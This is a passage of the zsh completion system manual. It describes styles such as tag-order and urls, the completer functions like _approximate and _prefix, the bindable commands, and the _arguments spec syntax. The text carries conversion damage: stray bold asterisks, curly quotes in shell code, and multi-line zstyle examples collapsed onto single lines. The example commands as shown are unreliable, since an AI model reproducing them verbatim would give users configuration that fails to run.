This is used by the _expand completer. If it is set to `true’, the expansion will only be used if it resulted from globbing; hence, if expansions resulted from the use of the substitute style described below, but these were not further changed by globbing, the expansions will be rejected.

The default for this style is `false’.

substitute
This boolean style controls whether the _expand completer will first try to expand all substitutions in the string (such as `$()’ and `${}’).

The default is `true’.

suffix
This is used by the _expand completer if the word starts with a tilde or contains a parameter expansion. If it is set to `true’, the word will only be expanded if it doesn’t have a suffix, i.e. if it is something like `~foo’ or `$foo’ rather than `~foo/’ or `$foo/bar’, unless that suffix itself contains characters eligible for expansion. The default for this style is `true’.

tag-order
This provides a mechanism for sorting how the tags available in a particular context will be used.

The values for the style are sets of space-separated lists of tags. The tags in each value will be tried at the same time; if no match is found, the next value is used. (See the file-patterns style for an exception to this behavior.)

For example:

zstyle ‘:completion::complete:-command-::*’ tag-order \ ‘commands functions’

specifies that completion in command position first offers external commands and shell functions. Remaining tags will be tried if no completions are found.

In addition to tag names, each string in the value may take one of the following forms:

- If any value consists of only a hyphen, then only the tags specified in the other values are generated. Normally all tags not explicitly selected are tried last if the specified tags fail to generate any matches. This means that a single value consisting only of a single hyphen turns off completion.

! tags**…**
A string starting with an exclamation mark specifies names of tags that are not to be used. The effect is the same as if all other possible tags for the context had been listed.

tag**:label
Here, tag is one of the standard tags and label is an arbitrary name. Matches are generated as normal but the name label is used in contexts instead of tag
. This is not useful in words** starting with !.

If the label starts with a hyphen, the tag is prepended to the label to form the name used for lookup. This can be used to make the completion system try a certain tag more than once, supplying different style settings for each attempt; see below for an example.

tag**:label:description
As before, but description will replace the `%d’ in the value of the format style instead of the default description supplied by the completion function. Spaces in the description must be quoted with a backslash. A `
%d’ appearing** in description is replaced with the description given by the completion function.

In any of the forms above the tag may be a pattern or several patterns in the form `{pat1,pat2…}’. In this case all matching tags will be used except for any given explicitly in the same string.

One use of these features is to try one tag more than once, setting other styles differently on each attempt, but still to use all the other tags without having to repeat them all. For example, to make completion of function names in command position ignore all the completion functions starting with an underscore the first time completion is tried:

zstyle ‘:completion:::-command-::’ tag-order \ ‘functions:-non-comp ’ functions zstyle ‘:completion::functions-non-comp’ \ ignored-patterns ‘_*’

On the first attempt, all tags will be offered but the functions tag will be replaced by functions-non-comp. The ignored-patterns style is set for this tag to exclude functions starting with an underscore. If there are no matches, the second value of the tag-order style is used which completes functions using the default tag, this time presumably including all function names.

The matches for one tag can be split into different groups. For example:

zstyle ‘:completion:’ tag-order \ ‘options:-long:long\ options options:-short:short\ options options:-single-letter:single\ letter\ options’ zstyle ‘:completion::options-long’ \ ignored-patterns ‘-+’ zstyle ‘:completion::options-short’ \ ignored-patterns ‘–’ ‘[-+]?’ zstyle ‘:completion::options-single-letter’ \ ignored-patterns ‘???

With the group-names style set, options beginning with `–’, options beginning with a single `-’ or `+’ but containing multiple characters, and single-letter options will be displayed in separate groups with different descriptions.

Another use of patterns is to try multiple match specifications one after another. The matcher-list style offers something similar, but it is tested very early in the completion system and hence can’t be set for single commands nor for more specific contexts. Here is how to try normal completion without any match specification and, if that generates no matches, try again with case-insensitive matching, restricting the effect to arguments of the command foo:

zstyle ‘:completion:::foo::’ tag-order ‘’ ‘:-case’ zstyle ‘:completion:*-case’ matcher ’m:{a-z}={A-Z}’

First, all the tags offered when completing after foo are tried using the normal tag name. If that generates no matches, the second value of tag-order is used, which tries all tags again except that this time each has -case appended to its name for lookup of styles. Hence this time the value for the matcher style from the second call to zstyle in the example is used to make completion case-insensitive.

It is possible to use the -e option of the zstyle builtin command to specify conditions for the use of particular tags. For example:

zstyle -e ‘:-command-:’ tag-order ' if [[ -n $PREFIX$SUFFIX ]]; then reply=( ) else reply=( - ) fi’

Completion in command position will be attempted only if the string typed so far is not empty. This is tested using the PREFIX special parameter; see zshcompwid for a description of parameters which are special inside completion widgets. Setting reply to an empty array provides the default behaviour of trying all tags at once; setting it to an array containing only a hyphen disables the use of all tags and hence of all completions.

If no tag-order style has been defined for a context, the strings `(|*-)argument-* (|*-)option-* values’ and `options’ plus all tags offered by the completion function will be used to provide a sensible default behavior that causes arguments (whether normal command arguments or arguments of options) to be completed before option names for most commands.

urls
This is used together with the urls tag by functions completing URLs.

If the value consists of more than one string, or if the only string does not name a file or directory, the strings are used as the URLs to complete.

If the value contains only one string which is the name of a normal file the URLs are taken from that file (where the URLs may be separated by white space or newlines).

Finally, if the only string in the value names a directory, the directory hierarchy rooted at this directory gives the completions. The top level directory should be the file access method, such as `http’, `ftp’, `bookmark’ and so on. In many cases the next level of directories will be a filename. The directory hierarchy can descend as deep as necessary.

For example,

zstyle ‘:completion:*’ urls ~/.urls mkdir -p ~/.urls/ftp/ftp.zsh.org/pub

allows completion of all the components of the URL ftp://ftp.zsh.org/pub after suitable commands such as `netscape’ or `lynx’. Note, however, that access methods and files are completed separately, so if the hosts style is set hosts can be completed without reference to the urls style.

See the description in the function _urls itself for more information (e.g. `more $^fpath/_urls(N)’).

use-cache
If this is set, the completion caching layer is activated for any completions which use it (via the _store_cache, _retrieve_cache, and _cache_invalid functions). The directory containing the cache files can be changed with the cache-path style.

use-compctl
If this style is set to a string not equal to false, 0, no, and off, the completion system may use any completion specifications defined with the compctl builtin command. If the style is unset, this is done only if the zsh/compctl module is loaded. The string may also contain the substring `first’ to use completions defined with `compctl -T’, and the substring `default’ to use the completion defined with `compctl -D’.

Note that this is only intended to smooth the transition from compctl to the new completion system and may disappear in the future.

Note also that the definitions from compctl will only be used if there is no specific completion function for the command in question. For example, if there is a function _foo to complete arguments to the command foo, compctl will never be invoked for foo. However, the compctl version will be tried if foo only uses default completion.

use-ip
By default, the function _hosts that completes host names strips IP addresses from entries read from host databases such as NIS and ssh files. If this style is `true’, the corresponding IP addresses can be completed as well. This style is not use in any context where the hosts style is set; note also it must be set before the cache of host names is generated (typically the first completion attempt).

users
This may be set to a list of usernames to be completed. If it is not set all usernames will be completed. Note that if it is set only that list of users will be completed; this is because on some systems querying all users can take a prohibitive amount of time.

users-hosts
The values of this style should be of the form `user**@host’ or `user:host’. It is used for** commands that need pairs of user- and hostnames. These commands will complete usernames from this style (only), and will restrict subsequent hostname completion to hosts paired with that user in one of the values of the style.

It is possible to group values for sets of commands which allow a remote login, such as rlogin and ssh, by using the my-accounts tag. Similarly, values for sets of commands which usually refer to the accounts of other people, such as talk and finger, can be grouped by using the other-accounts tag. More ambivalent commands may use the accounts tag.

users-hosts-ports
Like users-hosts but used for commands like telnet and containing strings of the form `user**@host:port’.**

verbose
If set, as it is by default, the completion listing is more verbose. In particular many commands show descriptions for options if this style is `true’.

word
This is used by the _list completer, which prevents the insertion of completions until a second completion attempt when the line has not changed. The normal way of finding out if the line has changed is to compare its entire contents between the two occasions. If this style is `true’, the comparison is instead performed only on the current word. Hence if completion is performed on another word with the same contents, completion will not be delayed.

CONTROL FUNCTIONS

The initialization script compinit redefines all the widgets which perform completion to call the supplied widget function _main_complete. This function acts as a wrapper calling the so-called `completer’ functions that generate matches. If _main_complete is called with arguments, these are taken as the names of completer functions to be called in the order given. If no arguments are given, the set of functions to try is taken from the completer style. For example, to use normal completion and correction if that doesn’t generate any matches:

zstyle ‘:completion:*’ completer _complete _correct

after calling compinit. The default value for this style is `_complete _ignored’, i.e. normally only ordinary completion is tried, first with the effect of the ignored-patterns style and then without it. The _main_complete function uses the return status of the completer functions to decide if other completers should be called. If the return status is zero, no other completers are tried and the _main_complete function returns.

If the first argument to _main_complete is a single hyphen, the arguments will not be taken as names of completers. Instead, the second argument gives a name to use in the completer field of the context and the other arguments give a command name and arguments to call to generate the matches.

The following completer functions are contained in the distribution, although users may write their own. Note that in contexts the leading underscore is stripped, for example basic completion is performed in the context `:completion::complete:’.

_all_matches This completer can be used to add a string consisting of all other matches. As it influences later completers it must appear as the first completer in the list. The list of all matches is affected by the avoid-completer and old-matches styles described above.

It may be useful to use the _generic function described below to bind _all_matches to its own keystroke, for example:

zle -C all-matches complete-word _generic bindkey ‘^Xa’ all-matches zstyle ‘:completion:all-matches:*’ old-matches only zstyle ‘:completion:all-matches::::’ completer _all_matches

Note that this does not generate completions by itself: first use any of the standard ways of generating a list of completions, then use ^Xa to show all matches. It is possible instead to add a standard completer to the list and request that the list of all matches should be directly inserted:

zstyle ‘:completion:all-matches::::’ completer \ _all_matches _complete zstyle ‘:completion:all-matches:*’ insert true

In this case the old-matches style should not be set.

_approximate
This is similar to the basic _complete completer but allows the completions to undergo corrections. The maximum number of errors can be specified by the max-errors style; see the description of approximate matching in zshexpn**(1)** for how errors are counted. Normally this completer will only be tried after the normal _complete completer:

zstyle ‘:completion:*’ completer _complete _approximate

This will give correcting completion if and only if normal completion yields no possible completions. When corrected completions are found, the completer will normally start menu completion allowing you to cycle through these strings.

This completer uses the tags corrections and original when generating the possible corrections and the original string. The format style for the former may contain the additional sequences `%e’ and `%o’ which will be replaced by the number of errors accepted to generate the corrections and the original string, respectively.

The completer progressively increases the number of errors allowed up to the limit by the max-errors style, hence if a completion is found with one error, no completions with two errors will be shown, and so on. It modifies the completer name in the context to indicate the number of errors being tried: on the first try the completer field contains `approximate-1’, on the second try `approximate-2’, and so on.

When _approximate is called from another function, the number of errors to accept may be passed with the -a option. The argument is in the same format as the max-errors style, all in one string.

Note that this completer (and the _correct completer mentioned below) can be quite expensive to call, especially when a large number of errors are allowed. One way to avoid this is to set up the completer style using the -e option to zstyle so that some completers are only used when completion is attempted a second time on the same string, e.g.:

zstyle -e ‘:completion:*’ completer ' if [[ $_last_try != “$HISTNO$BUFFER$CURSOR” ]]; then _last_try="$HISTNO$BUFFER$CURSOR" reply=(_complete _match _prefix) else reply=(_ignored _correct _approximate) fi’

This uses the HISTNO parameter and the BUFFER and CURSOR special parameters that are available inside zle and completion widgets to find out if the command line hasn’t changed since the last time completion was tried. Only then are the _ignored, _correct and _approximate completers called.

_canonical_paths [ -A var ] [ -N ] [ -MJV12nfX ] tag descr [ paths … ]
This completion function completes all paths given to it, and also tries to offer completions which point to the same file as one of the paths given (relative path when an absolute path is given, and vice versa; when ..’s are present in the word to be completed; and some paths got from symlinks).

-A, if specified, takes the paths from the array variable specified. Paths can also be specified on the command line as shown above. -N, if specified, prevents canonicalizing the paths given before using them for completion, in case they are already so. The options -M, -J, -V, -1, -2, -n, -F, -X are passed to compadd.

See _description for a description of tag and descr**.**

_cmdambivalent
Completes the remaining positional arguments as an external command. The external command and its arguments are completed as separate arguments (in a manner appropriate for completing /usr/bin/env) if there are two or more remaining positional arguments on the command line, and as a quoted command string (in the manner of system(…)) otherwise. See also _cmdstring and _precommand.

This function takes no arguments.

_cmdstring
Completes an external command as a single argument, as for system(…).

_complete
This completer generates all possible completions in a context-sensitive manner, i.e. using the settings defined with the compdef function explained above and the current settings of all special parameters. This gives the normal completion behaviour.

To complete arguments of commands, _complete uses the utility function _normal, which is in turn responsible for finding the particular function; it is described below. Various contexts of the form -context- are handled specifically. These are all mentioned above as possible arguments to the #compdef tag.

Before trying to find a function for a specific context, _complete checks if the parameter `compcontext’ is set. Setting `compcontext’ allows the usual completion dispatching to be overridden which is useful in places such as a function that uses vared for input. If it is set to an array, the elements are taken to be the possible matches which will be completed using the tag `values’ and the description `value’. If it is set to an associative array, the keys are used as the possible completions and the values (if non-empty) are used as descriptions for the matches. If `compcontext’ is set to a string containing colons, it should be of the form `tag**:descr:action’. In this case the** tag and descr give the tag and description to use and the action indicates what should be completed in one of the forms accepted by the _arguments utility function described below.

Finally, if `compcontext’ is set to a string without colons, the value is taken as the name of the context to use and the function defined for that context will be called. For this purpose, there is a special context named -command-line- that completes whole command lines (commands and their arguments). This is not used by the completion system itself but is nonetheless handled when explicitly called.

_correct
Generate corrections, but not completions, for the current word; this is similar to _approximate but will not allow any number of extra characters at the cursor as that completer does. The effect is similar to spell-checking. It is based on _approximate, but the completer field in the context name is correct.

For example, with:

zstyle ‘:completion:::::’ completer \ _complete _correct _approximate zstyle ‘:completion::correct:::’ max-errors 2 not-numeric zstyle ‘:completion::approximate:::’ max-errors 3 numeric

correction will accept up to two errors. If a numeric argument is given, correction will not be performed, but correcting completion will be, and will accept as many errors as given by the numeric argument. Without a numeric argument, first correction and then correcting completion will be tried, with the first one accepting two errors and the second one accepting three errors.

When _correct is called as a function, the number of errors to accept may be given following the -a option. The argument is in the same form a values to the accept style, all in one string.

This completer function is intended to be used without the _approximate completer or, as in the example, just before it. Using it after the _approximate completer is useless since _approximate will at least generate the corrected strings generated by the _correct completer – and probably more.

_expand
This completer function does not really perform completion, but instead checks if the word on the command line is eligible for expansion and, if it is, gives detailed control over how this expansion is done. For this to happen, the completion system needs to be invoked with complete-word, not expand-or-complete (the default binding for TAB), as otherwise the string will be expanded by the shell’s internal mechanism before the completion system is started. Note also this completer should be called before the _complete completer function.

The tags used when generating expansions are all-expansions for the string containing all possible expansions, expansions when adding the possible expansions as single matches and original when adding the original string from the line. The order in which these strings are generated, if at all, can be controlled by the group-order and tag-order styles, as usual.

The format string for all-expansions and for expansions may contain the sequence `%o’ which will be replaced by the original string from the line.

The kind of expansion to be tried is controlled by the substitute, glob and subst-globs-only styles.

It is also possible to call _expand as a function, in which case the different modes may be selected with options: -s for substitute, -g for glob and -o for subst-globs-only.

_expand_alias
If the word the cursor is on is an alias, it is expanded and no other completers are called. The types of aliases which are to be expanded can be controlled with the styles regular, global and disabled.

This function is also a bindable command, see the section `Bindable Commands’ below.

_extensions
If the cursor follows the string `*.’, filename extensions are completed. The extensions are taken from files in current directory or a directory specified at the beginning of the current word. For exact matches, completion continues to allow other completers such as _expand to expand the pattern. The standard add-space and prefix-hidden styles are observed.

_external_pwds
Completes current directories of other zsh processes belonging to the current user.

This is intended to be used via _generic, bound to a custom key combination. Note that pattern matching is enabled so matching is performed similar to how it works with the _match completer.

_history
Complete words from the shell’s command history. This completer can be controlled by the remove-all-dups, and sort styles as for the _history_complete_word bindable command, see the section `Bindable Commands’ below and the section `Completion System Configuration’ above.

_ignored
The ignored-patterns style can be set to a list of patterns which are compared against possible completions; matching ones are removed. With this completer those matches can be reinstated, as if no ignored-patterns style were set. The completer actually generates its own list of matches; which completers are invoked is determined in the same way as for the _prefix completer. The single-ignored style is also available as described above.

_list
This completer allows the insertion of matches to be delayed until completion is attempted a second time without the word on the line being changed. On the first attempt, only the list of matches will be shown. It is affected by the styles condition and word, see the section `Completion System Configuration’ above.

_match
This completer is intended to be used after the _complete completer. It behaves similarly but the string on the command line may be a pattern to match against trial completions. This gives the effect of the GLOB_COMPLETE option.

Normally completion will be performed by taking the pattern from the line, inserting a `*’ at the cursor position and comparing the resulting pattern with the possible completions generated. This can be modified with the match-original style described above.

The generated matches will be offered in a menu completion unless the insert-unambiguous style is set to `true’; see the description above for other options for this style.

Note that matcher specifications defined globally or used by the completion functions (the styles matcher-list and matcher) will not be used.

_menu
This completer was written as simple example function to show how menu completion can be enabled in shell code. However, it has the notable effect of disabling menu selection which can be useful with _generic based widgets. It should be used as the first completer in the list. Note that this is independent of the setting of the MENU_COMPLETE option and does not work with the other menu completion widgets such as reverse-menu-complete, or accept-and-menu-complete.

_oldlist
This completer controls how the standard completion widgets behave when there is an existing list of completions which may have been generated by a special completion (i.e. a separately-bound completion command). It allows the ordinary completion keys to continue to use the list of completions thus generated, instead of producing a new list of ordinary contextual completions. It should appear in the list of completers before any of the widgets which generate matches. It uses two styles: old-list and old-menu, see the section `Completion System Configuration’ above.

_precommand
Complete an external command in word-separated arguments, as for exec and /usr/bin/env.

_prefix
This completer can be used to try completion with the suffix (everything after the cursor) ignored. In other words, the suffix will not be considered to be part of the word to complete. The effect is similar to the expand-or-complete-prefix command.

The completer style is used to decide which other completers are to be called to generate matches. If this style is unset, the list of completers set for the current context is used – except, of course, the _prefix completer itself. Furthermore, if this completer appears more than once in the list of completers only those completers not already tried by the last invocation of _prefix will be called.

For example, consider this global completer style:

zstyle ‘:completion:*’ completer \ _complete _prefix _correct _prefix:foo

Here, the _prefix completer tries normal completion but ignoring the suffix. If that doesn’t generate any matches, and neither does the call to the _correct completer after it, _prefix will be called a second time and, now only trying correction with the suffix ignored. On the second invocation the completer part of the context appears as `foo’.

To use _prefix as the last resort and try only normal completion when it is invoked:

zstyle ‘:completion:’ completer _complete … _prefix zstyle ‘:completion::prefix:’ completer _complete

The add-space style is also respected. If it is set to `true’ then _prefix will insert a space between the matches generated (if any) and the suffix.

Note that this completer is only useful if the COMPLETE_IN_WORD option is set; otherwise, the cursor will be moved to the end of the current word before the completion code is called and hence there will be no suffix.

_user_expand
This completer behaves similarly to the _expand completer but instead performs expansions defined by users. The styles add-space and sort styles specific to the _expand completer are usable with _user_expand in addition to other styles handled more generally by the completion system. The tag all-expansions is also available.

The expansion depends on the array style user-expand being defined for the current context; remember that the context for completers is less specific than that for contextual completion as the full context has not yet been determined. Elements of the array may have one of the following forms:

$hash
hash is the name of an associative array. Note this is not a full parameter expression, merely a $, suitably quoted to prevent immediate expansion, followed by the name of an associative array. If the trial expansion word matches a key in hash
, the resulting expansion is the
corresponding value.

_func
_func is the name of a shell function whose name must begin with _ but is not otherwise special to the completion system. The function is called with the trial word as an argument. If the word is to be expanded, the function should set the array reply to a list of expansions. Optionally, it can set REPLY to a word that will be used as a description for the set of expansions. The return status of the function is irrelevant.

BINDABLE COMMANDS

In addition to the context-dependent completions provided, which are expected to work in an intuitively obvious way, there are a few widgets implementing special behaviour which can be bound separately to keys. The following is a list of these and their default bindings.

_bash_completions This function is used by two widgets, _bash_complete-word and _bash_list-choices. It exists to provide compatibility with completion bindings in bash. The last character of the binding determines what is completed: `!’, command names; `$’, environment variables; `@’, host names; `/’, file names; `~’ user names. In bash, the binding preceded by `’ gives completion, and preceded by `^X’ lists options. As some of these bindings clash with standard zsh bindings, only `~’ and `^X~’ are bound by default. To add the rest, the following should be added to .zshrc after compinit has been run:

for key in ‘!’ ‘$’ ‘@’ ‘/’ ‘~’; do bindkey “$key” _bash_complete-word bindkey “^X$key” _bash_list-choices done

This includes the bindings for `~’ in case they were already bound to something else; the completion code does not override user bindings.

_correct_filename (^XC)
Correct the filename path at the cursor position. Allows up to six errors in the name. Can also be called with an argument to correct a filename path, independently of zle; the correction is printed on standard output.

_correct_word (^Xc)
Performs correction of the current argument using the usual contextual completions as possible choices. This stores the string `correct-word’ in the function field of the context name and then calls the _correct completer.

_expand_alias (^Xa)
This function can be used as a completer and as a bindable command. It expands the word the cursor is on if it is an alias. The types of alias expanded can be controlled with the styles regular, global and disabled.

When used as a bindable command there is one additional feature that can be selected by setting the complete style to `true’. In this case, if the word is not the name of an alias, _expand_alias tries to complete the word to a full alias name without expanding it. It leaves the cursor directly after the completed word so that invoking _expand_alias once more will expand the now-complete alias name.

_expand_word (^Xe)
Performs expansion on the current word: equivalent to the standard expand-word command, but using the _expand completer. Before calling it, the function field of the context is set to `expand-word’.

_generic
This function is not defined as a widget and not bound by default. However, it can be used to define a widget and will then store the name of the widget in the function field of the context and call the completion system. This allows custom completion widgets with their own set of style settings to be defined easily. For example, to define a widget that performs normal completion and starts menu selection:

zle -C foo complete-word _generic bindkey ‘…’ foo zstyle ‘:completion:foo:*’ menu yes select=1

Note in particular that the completer style may be set for the context in order to change the set of functions used to generate possible matches. If _generic is called with arguments, those are passed through to _main_complete as the list of completers in place of those defined by the completer style.

_history_complete_word (/)
Complete words from the shell’s command history. This uses the list, remove-all-dups, sort, and stop styles.

_most_recent_file (^Xm)
Complete the name of the most recently modified file matching the pattern on the command line (which may be blank). If given a numeric argument N**, complete the** Nth most recently modified file. Note the completion, if any, is always unique.

_next_tags (^Xn)
This command alters the set of matches used to that for the next tag, or set of tags, either as given by the tag-order style or as set by default; these matches would otherwise not be available. Successive invocations of the command cycle through all possible sets of tags.

_read_comp (^X^R)
Prompt the user for a string, and use that to perform completion on the current word. There are two possibilities for the string. First, it can be a set of words beginning `_’, for example `_files -/’, in which case the function with any arguments will be called to generate the completions. Unambiguous parts of the function name will be completed automatically (normal completion is not available at this point) until a space is typed.

Second, any other string will be passed as a set of arguments to compadd and should hence be an expression specifying what should be completed.

A very restricted set of editing commands is available when reading the string: `DEL’ and `^H’ delete the last character; `^U’ deletes the line, and `^C’ and `^G’ abort the function, while `RET’ accepts the completion. Note the string is used verbatim as a command line, so arguments must be quoted in accordance with standard shell rules.

Once a string has been read, the next call to _read_comp will use the existing string instead of reading a new one. To force a new string to be read, call _read_comp with a numeric argument.

_complete_debug (^X?)
This widget performs ordinary completion, but captures in a temporary file a trace of the shell commands executed by the completion system. Each completion attempt gets its own file. A command to view each of these files is pushed onto the editor buffer stack.

_complete_help (^Xh)
This widget displays information about the context names, the tags, and the completion functions used when completing at the current cursor position. If given a numeric argument other than 1 (as in `ESC-2 ^Xh’), then the styles used and the contexts for which they are used will be shown, too.

Note that the information about styles may be incomplete; it depends on the information available from the completion functions called, which in turn is determined by the user’s own styles and other settings.

_complete_help_generic
Unlike other commands listed here, this must be created as a normal ZLE widget rather than a completion widget (i.e. with zle -N). It is used for generating help with a widget bound to the _generic widget that is described above.

If this widget is created using the name of the function, as it is by default, then when executed it will read a key sequence. This is expected to be bound to a call to a completion function that uses the _generic widget. That widget will be executed, and information provided in the same format that the _complete_help widget displays for contextual completion.

If the widget’s name contains debug, for example if it is created as `zle -N _complete_debug_generic _complete_help_generic’, it will read and execute the keystring for a generic widget as before, but then generate debugging information as done by _complete_debug for contextual completion.

If the widget’s name contains noread, it will not read a keystring but instead arrange that the next use of a generic widget run in the same shell will have the effect as described above.

The widget works by setting the shell parameter ZSH_TRACE_GENERIC_WIDGET which is read by _generic. Unsetting the parameter cancels any pending effect of the noread form.

For example, after executing the following:

zle -N _complete_debug_generic _complete_help_generic bindkey ‘^x:’ _complete_debug_generic

typing `C-x :’ followed by the key sequence for a generic widget will cause trace output for that widget to be saved to a file.

_complete_tag (^Xt)
This widget completes symbol tags created by the etags or ctags programmes (note there is no connection with the completion system’s tags) stored in a file TAGS, in the format used by etags, or tags, in the format created by ctags. It will look back up the path hierarchy for the first occurrence of either file; if both exist, the file TAGS is preferred. You can specify the full path to a TAGS or tags file by setting the parameter $TAGSFILE or $tagsfile respectively. The corresponding completion tags used are etags and vtags, after emacs and vi respectively.

UTILITY FUNCTIONS

Descriptions follow for utility functions that may be useful when writing completion functions. If functions are installed in subdirectories, most of these reside in the Base subdirectory. Like the example functions for commands in the distribution, the utility functions generating matches all follow the convention of returning status zero if they generated completions and non-zero if no matching completions could be added.

_absolute_command_paths This function completes external commands as absolute paths (unlike _command_names -e which completes their basenames). It takes no arguments.

_all_labels [ -x ] [ -12VJ ] tag name descr [ command arg … ]
This is a convenient interface to the _next_label function below, implementing the loop shown in the _next_label example. The command and its arguments are called to generate the matches. The options stored in the parameter name will automatically be inserted into the args passed to the command**. Normally, they are put** directly after the command**, but if one of the** args is a single hyphen, they are inserted directly before that. If the hyphen is the last argument, it will be removed from the argument list before the command is called. This allows _all_labels to be used in almost all cases where the matches can be generated by a single call to the compadd builtin command or by a call to one of the utility functions.

For example:

local expl … if _requested foo; then … _all_labels foo expl ‘…’ compadd … - $matches fi

Will complete the strings from the matches parameter, using compadd with additional options which will take precedence over those generated by _all_labels.

_alternative [ -O name ] [ -C name ] spec
This function is useful in simple cases where multiple tags are available. Essentially it implements a loop like the one described for the _tags function below.

The tags to use and the action to perform if a tag is requested are described using the specs which are of the form: `tag**:descr:action’. The** tags are offered using _tags and if the tag is requested, the action is executed with the given description descr**. The** actions are those accepted by the _arguments function (described below), with the following exceptions:

· The `->state’ and `=’ forms are not supported.

·
The `((a\bar b\baz))’ form does not need the colon to be escaped, since the specs have no colon-separated fields after the action**.**

For example, the action may be a simple function call:

_alternative \ ‘users:user:_users’ \ ‘hosts:host:_hosts’

offers usernames and hostnames as possible matches, generated by the _users and _hosts functions respectively.

Like _arguments, this function uses _all_labels to execute the actions, which will loop over all sets of tags. Special handling is only required if there is an additional valid tag, for example inside a function called from _alternative.

The option `-O name**’ is used in the same way as by the** _arguments function. In other words, the elements of the name array will be passed to compadd when executing an action.

Like _tags this function supports the -C option to give a different name for the argument context field.

_arguments [ -nswWCRS ] [ -A pat ] [ -O name ] [ -M matchspec ]

[ : ] spec

_arguments [ opt … ] – [ -l ] [ -i pats ] [ -s pair ]

[ helpspec …] This function can be used to give a complete specification for completion for a command whose arguments follow standard UNIX option and argument conventions.

Options Overview

Options to _arguments itself must be in separate words, i.e. -s -w, not -sw. The options are followed by specs that describe options and arguments of the analyzed command. To avoid ambiguity, all options to _arguments itself may be separated from the spec forms by a single colon.

The `–’ form is used to intuit spec forms from the help output of the command being analyzed, and is described in detail below. The opts for the `–’ form are otherwise the same options as the first form. Note that `-s’ following `–’ has a distinct meaning from `-s’ preceding `–’, and both may appear.

The option switches -s, -S, -A, -w, and -W affect how _arguments parses the analyzed command line’s options. These switches are useful for commands with standard argument parsing.

The options of _arguments have the following meanings:

-n With this option, _arguments sets the parameter NORMARG to the position of the first normal argument in the $words array, i.e. the position after the end of the options. If that argument has not been reached, NORMARG is set to -1. The caller should declare `integer NORMARG’ if the -n option is passed; otherwise the parameter is not used.

-s
Enable option stacking for single-letter options, whereby multiple single-letter options may be combined into a single word. For example, the two options `-x’ and `-y’ may be combined into a single word `-xy’. By default, every word corresponds to a single option name (`-xy’ is a single option named `xy’).

Options beginning with a single hyphen or plus sign are eligible for stacking; words beginning with two hyphens are not.

Note that -s after – has a different meaning, which is documented in the segment entitled `Deriving spec forms from the help output’.

-w
In combination with -s, allow option stacking even if one or more of the options take arguments. For example, if -x takes an argument, with no -s, `-xy’ is considered as a single (unhandled) option; with -s, -xy is an option with the argument `y’; with both -s and -w, -xy is the option -x and the option -y with arguments to -x (and to -y, if it takes arguments) still to come in subsequent words.

-W
This option takes -w a stage further: it is possible to complete single-letter options even after an argument that occurs in the same word. However, it depends on the action performed whether options will really be completed at this point. For more control, use a utility function like _guard as part of the action.

-C
Modify the curcontext parameter for an action of the form `->state’. This is discussed in detail below.

-R
Return status 300 instead of zero when a $state is to be handled, in the `->string’ syntax.

-S
Do not complete options after a `–’ appearing on the line, and ignore the `–’. For example, with -S, in the line

foobar -x – -y

the `-x’ is considered an option, the `-y’ is considered an argument, and the `–’ is considered to be neither.

-A pat
Do not complete options after the first non-option argument on the line. pat is a pattern matching all strings which are not to be taken as arguments. For example, to make _arguments stop completing options after the first normal argument, but ignoring all strings starting with a hyphen even if they are not described by one of the optspecs, the form is `-A “-*”’.

-O name
Pass the elements of the array name as arguments to functions called to execute actions. This is discussed in detail below.

-M matchspec
Use the match specification matchspec for completing option names and values. The default matchspec allows partial word completion after `_’ and `-’, such as completing `-f-b’ to `-foo-bar’. The default matchspec is:

r:|[_-]=* r:|=*

-0
When populating values of the `opt_args’ associative array, don’t backslash-escape colons and backslashes and use NUL rather than colon for joining multiple values. This option is described in more detail below, under the heading specs: actions.

specs: overview

Each of the following forms is a spec describing individual sets of options or arguments on the command line being analyzed.

n**:message:**action

n**::message:**action This describes the n’th normal argument. The message will be printed above the matches generated and the action indicates what can be completed in this position (see below). If there are two colons before the message the argument is optional. If the message contains only white space, nothing will be printed above the matches unless the action adds an explanation string itself.

**:message:**action

**::message:**action Similar, but describes the next argument, whatever number that happens to be. If all arguments are specified in this form in the correct order the numbers are unnecessary.

***:message:**action

***::message:**action

***:::message:action This describes how arguments (usually non-option arguments, those not beginning with - or +) are to be completed when neither of the first two forms was provided. Any number of arguments can be completed in this fashion.

With two colons before the message, the words special array and the CURRENT special parameter are modified to refer only to the normal arguments when the action is executed or evaluated. With three colons before the message they are modified to refer only to the normal arguments covered by this description.

optspec

optspec**:** This describes an option. The colon indicates handling for one or more arguments to the option; if it is not present, the option is assumed to take no arguments.

The following forms are available for the initial optspec, whether or not the option has arguments.

*****optspec Here optspec is one of the remaining forms below. This indicates the following optspec may be repeated. Otherwise if the corresponding option is already present on the command line to the left of the cursor it will not be offered again.

**-**optname

+optname In the simplest form the optspec is just the option name beginning with a minus or a plus sign, such as `-foo*’. The first argument for* the option (if any) must follow as a separate word directly after the option.

Either of `**-+optname’ and `+-**optname’ can be used to specify that **-**optname and **+**optname are both valid.

In all the remaining forms, the leading `-’ may be replaced by or paired with `+’ in this way.

-optname-
The first argument of the option must come directly after the option name in the same word. For example, `-foo-:…’ specifies that the completed option and argument will look like `-fooarg’.

-optname+
The first argument may appear immediately after optname in the same word, or may appear as a separate word after the option. For example, `-foo+:…’ specifies that the completed option and argument will look like either `-fooarg’ or `-foo arg’.

-optname=
The argument may appear as the next word, or in same word as the option name provided that it is separated from it by an equals sign, for example `-foo=arg’ or `-foo arg’.

-optname=-
The argument to the option must appear after an equals sign in the same word, and may not be given in the next argument.

optspec**[explanation]**
An explanation string may be appended to any of the preceding forms of optspec by enclosing it in brackets, as in `-q[query operation]’.

The verbose style is used to decide whether the explanation strings are displayed with the option in a completion listing.

If no bracketed explanation string is given but the auto-description style is set and only one argument is described for this optspec, the value of the style is displayed, with any appearance of the sequence `%d*’ in it replaced by the message of the first optarg* that follows the optspec; see below.

It is possible for options with a literal `+’ or `=’ to appear, but that character must be quoted, for example `-*’.*

Each optarg following an optspec must take one of the following forms:

**:message:**action

**::message:**action An argument to the option; message and action are treated as for ordinary arguments. In the first form, the argument is mandatory, and in the second form it is optional.

This group may be repeated for options which take multiple arguments. In other words, **:message1:action1:message2:**action2 specifies that the option takes two arguments.

**:*pattern:message:**action

**:*pattern::message:**action

**:*pattern:::message:action This describes multiple arguments. Only the last optarg for an option taking multiple arguments may be given in this form. If the pattern is empty (i.e. :*:), all the remaining words on the line are to be completed as described by the action; otherwise, all the words up to and including a word matching the pattern are to be completed using the action.

